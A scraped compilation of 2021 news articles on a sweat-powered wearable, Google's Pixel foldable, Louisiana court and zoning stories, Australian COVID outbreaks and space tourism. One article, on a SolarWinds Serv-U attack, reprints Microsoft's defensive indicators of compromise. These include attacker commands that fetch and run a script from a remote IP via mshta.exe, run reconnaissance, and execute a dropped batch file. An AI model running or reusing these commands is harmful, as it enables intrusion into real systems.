According to CNet, users can even create energy while sitting still or even while sleeping. The thin flexible strip wraps used are wrapped around the users' fingers like a Band-Aid and function by converting chemicals that are found in human sweat into other smaller amounts of electrical energy.

Fingers constantly produce sweat without much effort which means that this device can work even without the wearer moving that much. According to Joseph Wang, a professor of nanotechnology at the esteemed UC San Diego as well as co-author of a paper that described the function of the product, published in the journal Joule notes about the technology.

Self-Powered Wearable Systems

According to Joseph Wang, through the use of sweat on the users' fingertips, which actually flows out naturally no matter what the user is doing, will provide a net gain of energy with no effort at all from the user. It is quite common for self-powered wearable systems to rely directly on bioenergy harvesters in order to require excessive inputs in energy. As of the moment, it is still unknown if the energy alone collected from sweat is enough to power fitness watches.

However, due to the device not really requiring much physical input from the wearer, it is a step forward in order to make wearables much more practical, convenient, and also more accessible for the everyday user, according to Lu Yin, a study co-author and nanoengineering Ph.D. student over at UC San Diego.

Temporary Tattoos into Energy

UC San Diego researchers were previously able to work on temporary tattoos that are capable of turning sweat into power, as seen in ScienceFocus. While the brand new product is capable of producing, it is still not time to kick the tangly cords and other finicky electrical outlets out to the curb just yet.

The device, as of the moment, can still potentially power some of the low-power electronics operating at just a milliwatt range like a wristwatch. However, it is still not yet suitable for other continuously power-eating high-performance electronics like the use of smartphones, according to the researchers.

Read Also: South Korean Toilet Pays Users Digital Currency for 'Taking Care of Their Business'

Turn Sweat Into Energy

Yin also noted that their goal is to be able to make the device a practical device. Yin noted that they want to show that this isn't only another cool thing that is capable of generating small amounts of energy and then that's it. Yin elaborated that they can actually use the energy in order to power some of the useful electronics like displays and sensors.

As a subject of testing slept for 10 hours with the device on their fingertip, the wearable was capable of collecting 400 millijoules of energy. This is enough to power an electronic wristwatch, but still not a smartwatch. With smartwatches like the Apple Watch focusing on providing better features, it is interesting to see if this type of technology will be used in smartphones in the future.

Related Article: Dr. Anthony Fauci Says Fully Vaccinated Americans Don't Need a 'Booster Shot'

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Written by Urian B.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Google's Pixel foldable phone, which is expected to release this year, is reportedly sporting Samsung Display's Ultra-Thin Glass Layer.

The search engine giant first hinted about the idea of entering into the foldable phone market when it unveiled plans to be exploring it way back on May 08, 2019.

Back then, Samsung recently launched its first fold flagship, which has yet to use the ultra-thin glass layer technology.

Google Pixel Foldable Phone

The Google Pixel foldable is still in its prototype stage in 2019 to test the waters with the new type of handheld during that time.

The development lead of the Pixel phone, Mario Queiroz, further said that they have been testing it already for quite some time, even before they talked about it in public.

However, up until 2021, Google has yet to release its foldable flagship.

During the early days of foldable phones, the tech giant is still seeking a clear use for it. Now that some reports are insisting that Google is pushing through with the collapsible phone, it seems to mean that they have already found the value for it.

As such, 9to5Google spotted the codename of the Pixel foldable device, Passport, alongside the debut of Android 12 Beta on May 18. The rumored device was included in the list of the Pixel 6 lineup of smartphones and the Pixel 5a 5G.

Google Pixel Foldable Phone Release and Price

A leak in August 2020 first hinted that Google is actually releasing the long-awaited foldable flagship in late 2021.

On June 9, another report echoed the prediction, disclosing that Google, as well as Vivo and Xiaomi, are launching their folding phones before 2021 comes to an end.

Additionally, it was also predicted that the first foldable phone of Google is retailing at about $1,000 upon its release late this year.

Google Pixel Fold and Samsung's Ultra-Thin Glass Layer

As per The Elec, the upcoming Google Pixel Fold will release by the end of the year, and it will flaunt a 7.6-inch foldable display, which uses the ultra-thin glass layer of the Samsung Display.

The South Korean outlet also unveiled in a separate report that Google will kickstart the production of the Pixel Fold in October as it is set to launch in late 2021.

Read Also: Google Pixel 6 Leaked Cases Hints at Zoom Camera Return, Bulky Rear Bulge, and XL Variant

Samsung's Ultra-Thin Glass Layer and Chinese Phone Makers

Aside from the Google Pixel, Huawei, Xiaomi, Vivo, and Oppo are also using the screen technology of the South Korean giant.

Both the Huawei Mate X2 and Xiaomi Mi Mix Fold currently carry the UTG tech of Samsung as they launched this year. Meanwhile, Vivo, Honor, and Oppo are gearing up to do the same as they debut their upcoming collapsible devices.

Related Article: Google Pixel 6 Leaks: Design, Specs, Google's First Chipset - What You Need to Know

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Written by Teejay Boris

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
SolarWinds attack has been one of the headaches that tech companies have encountered, especially over the past months. This time, Microsoft spotted that a group of Chinese hackers was installing zero-day to exploit vulnerabilities in SolarWinds.

If this happens, the software company might be at the brink of malware infection, which would result in data alteration or theft.

Microsoft Notes the Most Recent SolarWinds Attack

According to the company's blog on Tuesday, July 13, the suspected hackers from China were exploiting SolarWinds in an attempt to take down its systems. The same group was also discovered to be hitting several sectors across the United States.

Mainly, cybercriminals have been targeting important systems in the military research and development sector.

For the initial status of the operation, Microsoft aims to recognize the identity of the group behind the attack. The Redmond giant named the actor DEV-0322 since it has not yet known the whereabouts of the attackers.

Microsoft said that the group has been actively moving through the systems using a commercial VPN and routers for their cyberattacks. The company said that it has now informed the affected organizations about the latest hack.

Read Also: Microsoft Catches NOBELIUM's Email Malware Plans, Also Known for its Part in SolarWinds' Attack

Microsoft Notifies SolarWinds About the Attack

In an updated statement, SolarWinds said that Microsoft tapped it after learning that the suspected Chinese hackers made their way out of the Serv-U software. The attack was linked to the patched FTP and product file transfer.

Back in December, SolarWinds was featured in several headlines due to the controversial cyberattack that happened. At that time, the experts said that the company's password was weak, which is why the hackers could easily access its systems.

Following the case of the solarwinds123 passcode, some experts believed that the vulnerability of the software giant was not dependent on its easy password.

Huntress co-founder Kylve Hanslovan said that one of the reasons why SolarWinds is easy to penetrate was because of the "malicious updates" that lived in the system for many days.

The following month after the incident with SolarWinds' password, the US intelligence boldly named Russia behind the attacks on the company. The authorities also believed that the hackers wanted to compromise many US computers at that time.

Microsoft Provides Indicators For SolarWinds Attack

Ars Technica reported that Microsoft revealed the possible indicators that people can encounter. The following will be the indicators that will tell you if your computer is exposed to hacking.

98[.]176[.]196[.]89

68[.]235[.]178[.]32

208[.]113[.]35[.]58

144[.]34[.]179[.]162

97[.]77[.]97[.]58

hxxp://144[.]34[.]179[.]162/a

C:\Windows\Temp\Serv-U.bat

C:\Windows\Temp\test\current.dmp

The presence of suspicious exception errors, particularly in the DebugSocketlog.txt log file

C:\Windows\System32\mshta.exe http://144[.]34[.]179[.]162/a (defanged)

cmd.exe /c whoami > "./Client/Common/redacted.txt"

cmd.exe /c dir > ".\Client\Common\redacted.txt"

cmd.exe /c "C:\Windows\Temp\Serv-U.bat"

powershell.exe C:\Windows\Temp\Serv-U.bat

cmd.exe /c type \\redacted\redacted.Archive > "C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users\redacted.Archive"

Recently, Microsoft released an emergency patch update for the PrintNightmare Zero-Day vulnerability. However, the said update was unable to fully fix the issue.

Related Article: SolarWinds Hackers Attack More Government Agencies and NGOs Globally, Microsoft Says

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Written by Joseph Henry

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
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The Lafayette Municipal Fire and Police Civil Service Board put off discussion on a complaint against Lafayette Police Chief Thomas Glover and a police captain until they can gather more information.

The complaint, filed by Citizens for a New Louisiana leader Michael Lunsford, claimed Glover failed to investigate a citizen complaint that alleged Lafayette Police Capt. Mike Brown used his police status to intimidate a landlord. Lunsford said he acquired a copy of the complaint in a May 4 records request, along with Browns internal affairs concise officer history and a criminal offense report from April.

Lunsford said neither incident appeared on Browns concise internal affairs history, a summation of internal affairs investigations and punishments during his career, and based on information and belief Glover hadnt ordered investigations into either report. He also said the facts suggested Browns actions were clear and direct violations of the Lafayette Police Departments code of conduct.

Hearing pushed back for fired Lafayette officer after attorney says case pending at DAs office A planned termination appeals hearing for former Lafayette Police Department officer Pablo Estrada was pushed back Wednesday after his attorne

In the current political climate, Chief Glovers failure to order an Internal Affairs investigation into these potential abuses of police power violate the public trust and his obligations as the City of Lafayettes Chief of Police, Lunsford wrote in a letter to the board.

Attorney Michael Corry, representing Lafayette Consolidated Government and the police department, said he believed an investigation into the complaint had been completed and the original complainant had been notified in a letter.

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The board batted around options for moving forward before putting discussion off until their next meeting and requesting Corry produce basic information and a timeline on the departments investigation.

+3 State police report on Trayford Pellerin shooting death includes officers' names Louisiana State Police on Wednesday released a report on their investigation into the death of Trayford Pellerin, identifying the three Lafaye

The original complaint, filed by a man whose name was redacted, said in mid-December Brown appeared at the mans residence and harassed him, calling him a scam artist, before telling him he could not collect rent or evict his tenants. He claimed Brown was friends with his tenant and was abusing his police position.

Brown detained the man in his yard and checked his ID through police dispatch, the complaint alleged.

A separate offense report included in Lunsfords complaint, dated April 7, listed Brown as a person charged or arrested in an extortion incident at 221 S. St. Antoine St., the address for C&R Banquet Hall. The police departments headquarters was listed as his address. No details on the alleged incident were included in the report.

Lunsford was not directly involved in either incident. He told the board Wednesday he was just bringing it to their attention and felt they could be another set of eyes on the situation.
AMITE CITY  Under pressure from angry farmers and residents, some Tangipahoa Parish leaders want to set tighter rules on solar power plants  but others argue it's hypocritical for a parish that has long rejected zoning rules to crack down on specific industries.

The Parish Council is weighing rules requiring utility-scale solar plants  meaning solar panel farms big enough to contribute to the power grid  to place visual buffers and follow some existing development rules. Supporters say those are reasonable guardrails for an industry that remains unregulated at the state level.

But as residents and the council discussed the rules at Mondays council meeting, Councilman Carlo S. Bruno accused supporters of the regulations of overstepping their reach in the zoning-free parish, where development has historically proceeded largely unhindered.

We dont have zoning in this parish. We tried it; people didnt want it, Bruno said at the meeting. The only time you hear about zoning is when something like the solar panels come up. If you want to (regulate) these things, you have to pass zoning. These (special ordinances) are getting too restrictive on people.

The debate over the council's right to influence development ignited last year, when the council considered halting all new development as it weighed how to more effectively curb flooding damage. More development creates more concrete, which in turn obstructs water runoff, posing greater risk to flood-prone areas.

Tensions over solar regulations, however, are new. Proposed amid a backlash from farmers and Republican legislators as a renewable energy boom sweeps south Louisiana, parish-level solar development ordinances in Tangipahoa are necessary because there aren't any state rules, according to the council members who devised them.

Two companies, Florida-based NextEra Energy and Chicagos Invenergy, have begun planning projects in Tangipahoa Parish that could break ground by 2023.

The parishs draft rules would require 100-foot buffer zones around utility-scale solar developments  25 feet of maintained native vegetation, plus 75 feet of space planted with whatever the landowner chooses. Developments would have to be surrounded by fences. They would also have to be at least 500 feet away from homes and would need to conform to parish drainage rules.

'I thought we were an oil and gas state': Solar developments in Louisiana draw increased scrutiny Two years ago, when regulators gave Entergy Louisiana the green light to buy power from a new utility-scale solar plant in West Baton Rouge Pa

At Mondays meeting, Bruno  an oil and gas executive who has pushed for more commercial development in Tangipahoa  said first-term District 10 Councilwoman Kim Coates has done an admirable job of devising the regulations in the face of myriad competing interests from solar corporations, landowners who want to lease to the companies and frustrated neighbors.

But the regulations are a reach beyond what officials should be allowed to enact in a parish without zoning regulations, he said.

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It looks to me as though yall are just trying to shut down everything, Bruno said at the meeting. Youre making it longer and harder for people to do what they want.

Rather than being an overreach of the councils authority, Coates argues the special-provision solar regulations are the perfect example of how a local government is supposed to step into development discussions in a region without zoning regulations. The special-provision ordinance has worked well in that role, she said.

We cant just have different types of businesses that are completely unregulated, Coates said. Thats part of the reason to have a parish government.

Were not stopping development, she added, were just trying to have smart development.

Residents, meanwhile, have grown increasingly divided over whether the solar projects  one planned off La. 445 east of Amite City, the other off La. 10 near Fluker  should have a home in Tangipahoa Parish.

Terry Chambers, an energy efficiency and sustainable energy expert at the University of Louisiana at Lafayette, tried to assuage landowners fears about the plants at a meeting of the councils Development Regulations Committee last week.

Residents need not worry that solar panels will poison their water sources or hinder future agricultural prosperity of the land, Chambers assured them. Those are two of the most commonly shared fears by landowners about the plants.

Tangipahoa leaders weigh local solar laws as Louisiana clashes over renewable energy AMITE CITY  Ira Cleveland is anxious about a project looming over the lush, green fields near his farmhouse on the eastern edge of Tangipahoa

Bruno, the District 4 councilman, speculated Monday that residents appeared to be acting selectively about which developments they want zoning standards applied to. The same thing has happened in the past, he said, such as when a new Walmart distribution center was constructed near Hammond.

"If you're worried about the ground getting bad, put 2,000 houses on that piece of property with a sewer system that's draining into your creek," he said. "Out of all the things that are going to go on the property  and something's going to go on it  you could get an awful lot worse (than solar panels.)"

The Parish Council is set to vote on the parish-level solar ordinance at its next meeting July 26.
The trial of a woman accused of playing a role in the killing of an Ethel couple in 2014 opened Wednesday with a prosecutor detailing the gruesome scene found at the pair's Lillian Lane home.

Dulce Maria Funez, who was extradited from Germany years after the killings, faces life in prison in the killing of Eddie Hall, 53, and his wife, Connie Hall, 51, on April 27, 2014. She and her boyfriend, Armando Reyes Diaz, were indicted in May 2014 on two counts of first-degree murder. Funez had worked for the Halls.

Prosecutor Lea Hall, no relation, described the crime scene in his opening statement Wednesday. Connie Hall suffered nearly 40 stab wounds and her husband was found next to his bed with his gun still holstered, the prosecutor said. Both were found in a pool of blood.

These folks, in the last fight of their lives, were being controlled, Lea Hall said, adding that they appear to have been sleeping before Connie Hall answered the back door and was attacked.

Defense lawyers argue the states case is circumstantial, noting that while Funezs fingerprints were in the Halls' home, she had gone there days earlier to pick up a paycheck. And while, blood was discovered in a car, the car was shared with other laborers.

Theyre only going to submit to you pure speculation, defense lawyer Tommy Damico told jurors Wednesday.

+6 Woman accused in 2014 slaying of Ethel couple returned to U.S. from Germany A woman accused in the slaying of a couple in Ethel in 2014 has been extradited to Louisiana, some six months after she was arrested in German

Funez's lawyers also said another worker had threatened the Halls about payment not long before they were found.

Prosecutors say Funez, 36, had also previously threatened the Halls over wages and went to the couples Lillian Lane home in the early morning along with Diaz. The couples daughter and her husband found the Halls' bodies the following day amid concerns when they didn't hear from them.

Funez had worked for the Halls painting company. After believing that she had been shorted on her hours, told them that if you keep (expletive) with my money, something bad is going to happen to you, according to witnesses, which included the Halls daughter.

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That argument came after Funez and other workers were docked $30 to cover the cost of cleaning a customers blinds after paint got on them, authorities said.

Funez was fired but then eventually hired back.

Phone records also show Diaz had gone to the Halls home, but Funez's phone remained in Baton Rouge, prosecutors said. She had also left her 10-year-old son with someone the night of the killing.

Funez was arrested in Rheinbach, Germany, a town roughly 30 miles south of Cologne nearly two years after the killing. Authorities there arrested Funez after discovering she was wanted in the U.S. after she went to police to report an unrelated incident and provided them her name.

+2 U.S. Marshal confirms that woman in German jail is suspect in 2014 East Feliciana double slaying; extradition process underway Officials confirmed on Tuesday a woman arrested in Germany is one of the suspects sought in a 2014 East Feliciana Parish double killing.

Damico argued that Funez did not flee Louisiana, saying that she had traveled to Europe using her passport and gave police in Germany her name.

Her transportation back to the U.S. was slowed because Germany does not extradite suspects to countries where they could be executed.

The Feliciana parishes district attorney sent Germany paperwork promising that Funez would not face the death penalty if she is convicted in Louisiana.

Diaz, her boyfriend, has never been located.

The trial will include testimony from other workers, as well as law enforcement and forensic evidence.
And for all that Branson marked his flights apogee with an exhortation to the next generation of dreamers: if we can do this, just imagine what you can do, the first American suborbital flight, lasting about as long as Bransons, was achieved by the baby boom generation. That flight, carrying Shepard, took place in 1961, or 60 years ago. Virgin Galactic is competing with Amazon founder Jeff Bezos Blue Origin and Elon Musks SpaceX for a foothold in the space tourism market, for whatever thats worth. Blue Origin and SpaceX are also in an intense battle with each other and United Launch Alliance, a joint venture of Boeing and Lockheed Martin, for government space flight contracts. (Blue Origin is also producing rocket engines for ULA.) Artemis isnt the only government program issuing contracts to private space flight companies; theres also competition for satellite launches and for carrying crew and payloads to the International Space Station. But the moon program is NASAs most ambitious and the one most likely to attract public attention to the contractors. As a result, Artemis is also the program most racked by intercorporate hostility and intrigue.

Most of the conflict has involved SpaceX and Blue Origin. Virgin Galactic hasnt been a bidder on the moon project, though it was awarded part of a $US45-million NASA contract to carry test payloads on its commercial flights. A sister company in Bransons corporate empire, Virgin Orbit, completed its first commercial mission June 30. In that flight a Virgin Orbit craft placed seven satellites in low Earth orbit for three customers, including the US Defence Department, which awarded the company a $US35-million contract in 2017. Loading The rivalry for government contracts among the other companies isnt hard to fathom. The contracts are absolutely crucial because developing space flight isnt cheap, says Michael Listner of the consulting firm Space Law & Policy Solutions. Otherwise theyd have to raise that money on their own, and thats probably not going to happen. So they need these government contracts to actually survive. One problem all the moonshot rivals face is that Artemis is, at this moment, rather half-baked. Originally conceived in 2017 with the goal of placing a crew on the moon by 2028, its deadline was moved up to 2024 by the Trump White House only two years after the program was established. Thats a timeline that most experts say is unattainable.

The Government Accountability Office reported in May that the accelerated schedule made it less likely that a lunar landing could happen in 2024, in part because many project components wont be ready. Most of the lunar projects are still early in development and some are relying on immature technology, the GAO found. Among other issues, the Gateway, a moon-orbiting outpost from which surface missions will be staged, would rely on power and propulsion technology that has never before been used, GAO said, adding that contractors are behind schedule developing the needed technology. The Biden administration, which supports the Artemis program, hasnt taken an explicit position on the deadline, though many believe that the administration will treat 2024 as an aspirational goal while redirecting the program toward a later landing. Squabbling among the contractors and between them and NASA hasnt helped. Nor have the conflicts been confined to the NASA program. In 2018, Musk clashed with the Defence Department over contracts totaling more than $US2.2 billion for a series of military rocket launches starting in 2022. The contracts were divided up among ULA, Northrop Grumman and Blue Origin, with SpaceX completely shut out. SpaceX filed a lawsuit asserting that the awards were the product of prejudicial unequal treatment by the Air Force. The case was thrown out last year by a federal judge in Los Angeles.

Wrangling between Blue Origin and SpaceX, possibly animated by personal hostility between Bezos and Musk, has become almost a permanent feature of spaceflight contracting. As long ago as 2015, the two billionaires, who are among the richest individuals on Earth, battled each other over a patent awarded to Blue Origin for landing reusable rockets on a barge in the ocean. SpaceX challenged the patent as unoriginal and won a split decision. The holy grail of these endeavours is NASAs plan to return crewed spacecraft to the moon. Credit:NASA In April, after NASA awarded a $US2.9-billion contract for a lunar lander to SpaceX, Blue Origin filed a protest that has prevented NASA from finalising the award. (A final decision is expected next month.) With this perspective, it seems evident that the race to shoot tourists into space is all about public relations. The main effect of the Branson flight, Logsdon says, was all the free publicity it got for an emerging business through wall-to-wall television coverage and front-page newspaper articles. Bezos, reduced to an also-ran in the billionaire-in-space rivalry, is trying to seize centre stage by including Wally Funk, one of 13 women selected as the nations first female astronauts for Project Mercury, as a crewmate. None of the 13 ever made it into space.

Loading The unasked question is how much value lies in crewed exploration of the moon beyond PR. The seven scientific priorities of Artemis as set forth by NASA  such as observing the universe in a unique location and conducting experimental science in the lunar environment  are almost all achievable by robots and other technology, at less cost and far greater safety than placing crews on the surface. The exception is investigating and mitigating exploration risks to humans, which obviously wouldnt be necessary if humans were not on hand to be exposed to those risks. The reality of space programs turns an old astronauts proverb (popularised by Tom Wolfes book The Right Stuff) on its head. The original version, alluding to a comic book space hero of yore, was No bucks, no Buck Rogers, meaning that without lavish infusions of money, there would be no heroism to celebrate. What Branson and Bezos are counting on is the opposite  the need to celebrate individuals in space to acquire funding in the first place. In other words, No Buck Rogers, no bucks. The Los Angeles Times
Everywhere man: Craig Kelly Credit:John Shakespeare

When you are a backbench member of Parliament, media mentions are everything.

In recognition of the tireless efforts of so many of our government backbenchers to garner column inches, it is time for CBD to make the first presentation of the Charles Wilson Ironbar Tuckey Award for Parliamentary Prominence.

It is named after the shouty West Australian MP who held his seat for 30 years and generated continual attention, not the least because he remains the Coalition member most frequently suspended from the chamber. Fourteen times, in fact. Or, as The Age once put it disproportionately represented in dramas and intrigues.

For the first six months of 2021, this Hunger Games of ambition and irrelevancy has been won not by a young thruster, but by Tuckeys present day equivalent.
Media outlets being sued for defamation by Ben Roberts-Smith have asked the Federal Court to hear evidence urgently from four Afghan witnesses in Kabul amid a deterioration in the security situation, but the war veterans lawyers say it would be too risky to hold a hearing during Sydneys COVID-19 outbreak.

Sydneys growing cluster of COVID-19 cases has wrought havoc with the Federal Court trial and in late June Justice Anthony Besanko called a four-week halt in the case against The Age and The Sydney Morning Herald.

Ben Roberts-Smith outside the Federal Court in Sydney on June 28. Credit:Peter Rae

Justice Besanko had scheduled a planning hearing for July 19, with a view to resuming the trial a week later on July 26. However, the NSW government confirmed on Wednesday that a lockdown in Greater Sydney, now in its third week, would be extended by at least another two weeks from Monday.

Lawyers for the media outlets have asked the court to consider resuming the trial for one week only to hear evidence from four Afghan witnesses who will be questioned via videolink from Kabul while the parties appear in a courtroom in Sydney. The witnesses are living in a safe house in Kabul awaiting the call to give evidence.
Dozens of year 9 students from the Scots College have escaped Sydneys lockdown to travel to their annual six-month outdoor education campus in the southern highlands, after the trip was approved by NSW Health.

Several busloads of students left the Bellevue Hill campus after being dropped off by their parents on Wednesday, shortly after Premier Gladys Berejiklian announced that stay-at-home orders and remote learning for the rest of Greater Sydney would be extended a further two weeks.

Scots College students wearing plain clothes boarded buses on the schools grounds in Bellevue Hill. Credit:Nick Moir

Students will spend the next six months at the schools Glengarry residential campus in Kangaroo Valley, where they partake in an annual year 9 academic and outdoor education program, supervised by about 30 staff, including some casuals and others who live on site.

The program is described by the school as a rite of passage into manhood and requires the students to live without phones, games or television before they make a 200km return to Sydney by mountain biking, hiking and canoeing.
A former professor at the University of Technology Sydney accused of sending threatening letters to herself is not a drama queen or Machiavellian creature and had no motive to perpetrate the threats, a jury has been told.

Dianne Jolley, 51, is on trial in the NSW District Court after she allegedly sent ten letters to herself in 2019 containing underwear, photographs of herself, and threats about a course closure including I know where you live and racist bitch, China-hating lesbian, I watch you, I see what you do, youre not safe.

Dianne Jolley arrives at court on Wednesday. Credit:Rhett Wyman

As a result of the letters, and clothing found cut up at Ms Jolleys home, the university spent $127,586.93 on security measures for the former dean of science including CCTV, private security guards and a duress alarm.

Ms Jolley has pleaded not guilty to one count of causing financial disadvantage by deception, and 10 counts of conveying information she knew to be false or misleading to make a person fear for their safety. She has admitted to writing one of the letters, in an attempt to get fired due to the stress, but denies writing the rest.
A former chief executive of a multimillion-dollar technology company could have put everyone at risk after he sailed from a Sydney hotspot and lied on his border pass to enter Queensland from locked-down Sydney.

Melbourne businessman Jeromy Young, the co-founder of Atomos, a video technology company, was one of four people on board who were fined $5000 each by authorities in Queensland and NSW.

Atomos chief executive Jeromy Young started the company in 2010.

Mr Young  who was chief executive of Atomos until February 2021 when he stepped down from the role  had travelled on 34.5-metre super yacht Dreamtime, which charters for $70,000 a week.

The group boarded the vessel at a Pittwater yacht club, about 40 kilometres north of the Sydney CBD, on Monday, July 5, NSW Police said in a statement issued late on Wednesday.
A knackery that sold pet food linked to the deaths of at least 10 dogs and the hospitalisation of a further 50 is refusing to recall its products despite requests from the regulator.

Dogs across Gippsland and the Mornington Peninsula have fallen ill with severe liver disease over the past month. The common link in relation to the deaths appears to be that the dogs had eaten chopped beef from the Maffra Knackery, which also trades as Backmans Meats and Backmans Greyhound Supplies, which has a store in Seaford in Melbournes south-east.

Grace Lewis and her greyhound Jess.

The situation has prompted Australias peak pet food association and dog owners to call for stronger regulation of the pet food industry, with many pet owners surprised to discover that government meat regulator PrimeSafe does not have the power to force businesses to recall products.

While PrimeSafe asked the knackery and a pet shop in Bairnsdale to issue a voluntary recall of the product after becoming aware of the issue on July 2, only the pet shop obliged.
The states two new cases  an adult and a child who sat separately at the MCG during Saturdays match between Carlton and Geelong  are on top of the 10 new cases officially recorded on Thursday but reported throughout the day on Wednesday. COVID-19 response commander Jeroen Weimar said the two fresh cases were not known to each other or the other two previously confirmed cases at the MCG. Mr Weimar said they were sitting in very different parts of the ground and that the MCG was now the focus of the states contact tracers. Both these cases put us in a serious situation. We need to establish whether there are any other people who were at the MCG  thats a critical bit of information we need to get to today.

Loading If you are getting those tier-1, tier-2 text messages and you havent got tested, we need you to come and do that now. Whatever youre doing at the moment, stop doing it. Please come and get tested so we can get that information and get you safe and secure. Mr Weimar also noted that one of the new MCG cases was linked to two gyms in Melbournes west that were added to the official list of exposure sites on Wednesday morning. Despite concerns about further transmission at the MCG, Mr Weimar lauded the speed of the states health team.

[In] the last 72 hours weve burned through seven rings [of contract tracing] exceptionally quickly. This is probably the fastest response weve ever seen to an outbreak moving more quickly than weve ever seen here in Victoria, or I suspect anywhere else in Australia. Meanwhile, it has emerged that a man is his 30s who contracted the virus at a Coles in Craigieburn was actually an acquaintance of a positive case who had recently returned from Sydney. Officials revealed on Wednesday that the man tested positive after visiting the supermarket in Melbournes north at the same time as a man who lives in the City of Hume who was infectious.

Were confident with that particular exposure site that ... theyve spent a bit of time together to achieve that transmission, Mr Weimar said. Victorias latest coronavirus outbreaks, which now take in a total 16 cases including at least two children, are both offshoots of Sydneys Delta clusters: three Sydney removalists who breached their permit conditions and a family who returned from Sydney and were supposed to be isolating at home. Parents and carers at St Patricks Primary in Murrumbeena were asked to collect their children on Thursday morning after a student tested positive to the virus. All grade 4 students at the Catholic school in Melbournes south-east were ordered to go directly to a testing station before heading home and isolating until further notice. Students in other year levels have been encouraged to get tested. St Patricks Primary in Murrumbeena has been closed after a positive case attended the school. Credit:Joe Armao

A primary school in the border town of Wodonga also shut its doors on Monday and sent all children and staff home after two students attended a tier-one exposure site on the weekend. The two students at St Monicas have not tested positive to the virus, however the school has been closed as a precaution. Principal Jacqui Partington wrote to the school community earlier today, notifying them of an immediate shutdown and directing all students and anyone who has been on site to isolate immediately until further notice. We will remain shut down until we know for certain that it is safe to return to site, Ms Partington wrote. St Monicas is the fourth Victorian school to close in the past 24 hours, following the closure of St Patricks Primary in Murrumbeena, Bacchus Marsh Grammar and Barwon Heads Primary.

Many schools also told their students to take their things home as the school bell rang on Thursday afternoon in anticipation of a return to remote learning. Tina King, the acting president of the Australian Principals Federation, said schools were preparing for an imminent announcement. Ive spoken to a few secondary principals, they are telling their kids, take your stuff home tonight just in case, she said. Ms King said schools had plenty of practice in making a swift transition to remote learning and could potentially do so tomorrow.

Weve learnt how quickly we can do that transition, she said.

The list of high-risk exposure sites now includes 80 exposure sites, including public transport routes, a CBD pub, the MCG, Highpoint Shopping Centre and DFO University Hill in Bundoora. The mens toilet at Oakleigh shopping centre was added as a tier-1 location on Thursday afternoon. Western Australia on Wednesday enforced new border restrictions on visitors from Victoria, who must isolate for 14 days upon entering the state, while South Australia also tightened restrictions for Victorians, requiring them to undertake a COVID-19 test within 24 hours of arriving and not enter high-risk settings such as aged care for 14 days after arriving. Four of the cases announced on Wednesday were residents of the Ariele Apartments complex at Maribyrnong in Melbournes north-west. The parents of one of those residents, a man in his 60s, also tested positive, making cases five and six. The seventh reported case was the man in his 30s who visited the Coles in Craigieburn Central.

Case eight was a teacher from Bacchus Marsh Grammar who watched the Carlton versus Geelong AFL match at the MCG on Saturday with a friend who lives in the Ariele Apartments. Two of his family members have also tested positive, becoming cases nine and 10. Both Bacchus Marsh Grammar and Barwon Heads Primary School remain closed today after a positive case visited each school. Mr Weimar said 315 members of staff at Bacchus Marsh Grammar were in isolation as primary close contacts, and 3000 students at the school were in isolation as secondary close contacts. He said 49 staff and 527 students at Barwon Heads Primary had been identified as either primary or secondary close contacts.

While masks are now mandated indoors across the state, plenty of Victorians are masking up outside too. Credit:Joe Armao Weve got local testing set up ... the school community has been fantastic, Mr Weimar said. I know its such a distressing and complex time to be dealing with these outbreaks. We are working of course to get the primary close contacts tested, and as we have that information in the next day or so, [thats] going to allow us to get a more informed position on how we deal with the schools going forward. Cars queuing at a COVID-19 testing site in Craigieburn on Thursday. Credit:Justin McManus

Victorian restrictions expected to be tightened The Victorian Department of Health announced late on Wednesday evening that mask-wearing rules would be reintroduced from 11.59pm on Wednesday. Masks must now be worn in all indoor areas, including in all workplaces and secondary schools. Additional restrictions for Victoria are expected to be announced at a press conference later on Thursday afternoon. Loading

Some experts have called for a return to work-from-home rules, while other restrictions announced on Thursday could include indoor crowd limits and restrictions on the number of visitors permitted in homes. Monash University Associate Professor James Trauer told Sevens Sunrise on Thursday morning a lockdown for Victoria seems likely. We have seen increasing cases over the last few days, more exposure sites every day and we know that if we go early with lockdowns, the earlier we go, the shorter they need to be, he said. We need to get on top of this and we still dont really understand the scale of the number of cases that have been created at the moment. I would really support an early lockdown.

Experts watching Maribyrnong apartment complex infections closely Dr Finn Romanes, who runs the Western Public Health Unit responsible for contact tracing in Melbournes western suburbs, said there were 153 close contacts in quarantine at the Ariele Apartments: 121 residents and 32 visitors. While the data was still being analysed by public health teams, Dr Romanes told ABC Radio Melbourne it looked like the period between infections was dropping. Clearly, things are moving very fast... so what previously we saw around about three days between each circle of cases developing  one group of people would potentially infect another and at about three days later, you would see these cycles or generations of cases, he said. Loading

Here within this outbreak since the exposures on the eighth and then the cases first coming to light on Sunday, weve got, its down to about two days, so its moving every couple of days, were seeing another ring of cases developed. So its absolutely crucial that the people take a series of steps now... but even double down on those steps to move ahead of that and get as fast as we can. The priority at any exposure site was to account for all the residents on the day or days of concern, but also to make sure everyone they dealt with received COVID first aid, Dr Romanes said. Its reaching out to them, making sure theyre in isolation and getting tested and finding out their social circumstances.
James Trevelyan is an emeritus professor at UWA, where he taught engineering for 41 years and has researched how engineering work is actually performed, which he says is completely reliant on effective collaboration. He says while Perth is a global centre for mining expertise  with locally based engineers operating mines all over the world  educating and mentoring global engineers is another thing. Two thirds of billion-dollar projects fall well short on promised returns and one in six end up ... being cut up for scrap metal. James Trevelyan, UWA Emeritus Professor Its easy to think that people in Siberia and Uganda collaborate the way we do, when clearly they dont, he said. Language constrains the way we think and most engineers are totally unaware of this.

He said this was why people educated in the social sciences were critical for success in engineering projects. Loading Improving collaboration offers the best chance to improve outcomes from multibillion-dollar projects even within WA, he said. Over 30 years, were going to have to re-engineer all our industries to get to net zero emissions by 2050, thats an awful lot of engineering work, Professor Trevelyan said. In large engineering projects we have an appalling record for delivering on promises: two-thirds of billion-dollar projects fall well short on promised returns for investors and one in six end up as near total losses, and being cut up for scrap metal.

